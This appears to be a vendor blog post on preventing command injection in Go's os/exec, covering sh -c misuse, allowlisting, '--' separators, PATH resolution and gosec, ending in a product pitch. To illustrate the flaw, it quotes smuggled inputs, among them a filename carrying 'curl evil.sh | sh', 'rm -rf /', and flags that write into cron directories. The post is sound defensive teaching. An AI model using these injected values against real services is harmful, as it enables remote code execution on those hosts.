"Go doesn't have command injection because exec.Command doesn't use a shell" is the sentence that gets Go services compromised. It is half true and dangerously incomplete. Go's os/exec really does pass arguments as a discrete slice with no shell to reinterpret ;, |, or backticks — but that only closes one of the ways user input decides what runs on your host. If the attacker controls which binary executes, which flags it receives, or the PATH it resolves against, you have command injection (CWE-78) whether or not a shell was involved. This piece is about prevention: the concrete patterns that keep user input from steering process execution, and the ones people mistake for safe.
Where does command injection actually live in Go?
It lives in four places, and only the first is the one the "no shell" claim protects you from.
- Argument-string injection — passing user input as an argument to a fixed command.
exec.Command("git", "clone", url)is safe here even ifurlcontains; rm -rf /, because Go hands that whole string togitas one literal argument. - Shell re-introduction — the developer opts back into a shell to get pipes, redirects, or globbing.
- Command/binary selection — user input decides the program name itself.
- Argument/flag injection — user input becomes a flag the target program interprets, changing its behavior without any shell.
Prevention means addressing all four, not just checking that you avoided sh -c.
Why is sh -c the mistake that keeps happening?
Because it feels like the only way to do pipes or shell features, and it hands a parseable string straight to a shell.
// VULNERABLE: user input is parsed by /bin/sh
cmd := exec.Command("sh", "-c", "convert "+userFile+" out.png")
If userFile is x.jpg; curl evil.sh | sh, you are executing attacker code. The fix is almost never "escape the input" — quoting rules across shells are a losing battle. The fix is to do the composition in Go, not in a shell:
// SAFE: no shell, discrete arguments
cmd := exec.Command("convert", userFile, "out.png")
Need a pipeline like a | b? Wire two exec.Cmd values together with io.Pipe or by assigning one command's StdoutPipe to the next command's Stdin. It's a few more lines and it never touches a shell parser. If you genuinely must invoke a shell (rare), the input that reaches it must come from a fixed allowlist, never from the request.
How do you safely let users pick a command or its options?
Map user input to a fixed set of known-good values before it ever reaches exec.Command. Never pass the raw value through.
// Allowlist the operation; never let user input BE the command.
var allowedTools = map[string]string{
"resize": "convert",
"probe": "ffprobe",
}
func run(op, input string) error {
bin, ok := allowedTools[op]
if !ok {
return fmt.Errorf("unsupported operation %q", op)
}
return exec.Command(bin, "--", input).Run()
}
Two things are doing work here. The map lookup means an attacker cannot supply an arbitrary binary name — only resize or probe resolve, everything else errors out. And the -- separator tells most well-behaved CLIs "everything after this is a positional argument, not a flag," which defends against argument injection: without it, an input of --config=/attacker/file or -o/etc/cron.d/x would be interpreted as an option that changes the tool's behavior. Validate that user-supplied positional values match an expected shape (a UUID, a path inside an allowed directory) rather than trusting -- alone, because not every binary honors it.
What changed with PATH resolution, and why does it matter?
Go 1.19 (August 2022) closed a real binary-planting hole, and you should not work around it.
Before Go 1.19, exec.LookPath and exec.Command would resolve a relative path — including the empty/current directory on some platforms — which meant a program run in an attacker-writable working directory could execute a planted git or python binary instead of the system one. Go 1.19 changed this so resolving a program found via a relative PATH entry returns exec.ErrDot. If you see that error, the correct response is to resolve to an absolute path deliberately, not to silently strip the check:
bin, err := exec.LookPath("git")
if err != nil {
return err // handle ErrDot by using a known absolute path
}
cmd := exec.Command(bin, "status")
For high-assurance services, hardcode absolute paths to trusted binaries (/usr/bin/git) so PATH manipulation is irrelevant.
What's the prevention checklist?
| Control | Why it matters |
|---|---|
Never build a sh -c string from input | Removes the shell parser entirely |
Compose pipelines in Go with io.Pipe | Shell features without a shell |
| Allowlist command names via a map | User can't choose an arbitrary binary |
Insert -- before user positionals | Blocks flag/argument injection |
| Validate positionals against a strict schema | Catches paths/flags -- misses |
| Resolve binaries to absolute paths | Defeats PATH planting (respect ErrDot) |
Use exec.CommandContext with a timeout | Bounds a hostile subprocess |
| Drop privileges / sandbox the child | Limits blast radius if all else fails |
That last row matters: run the subprocess with the least privilege it needs, and on Linux consider SysProcAttr with a restricted namespace, seccomp, or an external sandbox. Defense in depth means a bypass of one control isn't game over.
How does static analysis catch what review misses?
gosec's G204 rule flags exec.Command/exec.CommandContext calls whose command or arguments derive from a variable rather than a literal. It is a tripwire, not a verdict — many G204 hits are safe allowlisted patterns like the one above — but every hit deserves a human confirming the input is constrained. Run it in CI and treat unexplained new findings as blocking; our gosec static analysis guide covers tuning it so the signal stays useful.
How Safeguard Helps
Static rules like G204 tell you where a subprocess call takes variable input; they can't tell you whether that input is reachable from an untrusted request. Safeguard connects static analysis via the CLI with dynamic testing (DAST) that exercises your running service, so a flagged exec.Command is confirmed as exploitable or ruled out with an actual request path. Griffin, the AI analysis engine, explains each finding in context and drafts the allowlist-and-validate fix, and auto-fix can open the pull request. If you're comparing SAST tooling for Go, see our Checkmarx comparison.
Scan your Go service free at app.safeguard.sh/register, and find the integration docs at docs.safeguard.sh.